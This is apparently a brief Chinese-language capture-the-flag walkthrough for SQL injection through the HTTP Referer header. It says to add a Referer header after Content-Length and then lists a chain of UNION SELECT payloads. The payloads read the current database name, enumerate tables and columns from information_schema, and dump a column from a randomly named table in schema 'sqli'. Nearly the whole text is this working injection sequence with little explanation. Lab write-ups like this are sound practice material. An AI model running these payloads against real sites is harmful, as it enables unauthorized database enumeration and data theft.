在最后添加 Referer:     (注意 R 大写， Referer后面是 ：，Content-Length: 与 Referer:  之间没有空行)

1

 2

 3

 1 union select 1,database()

 -1 union select 1,database()

-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='efmbrdgnep'

 -1 union select 1,group_concat(vhxdtnpihy)from sqli.efmbrdgnep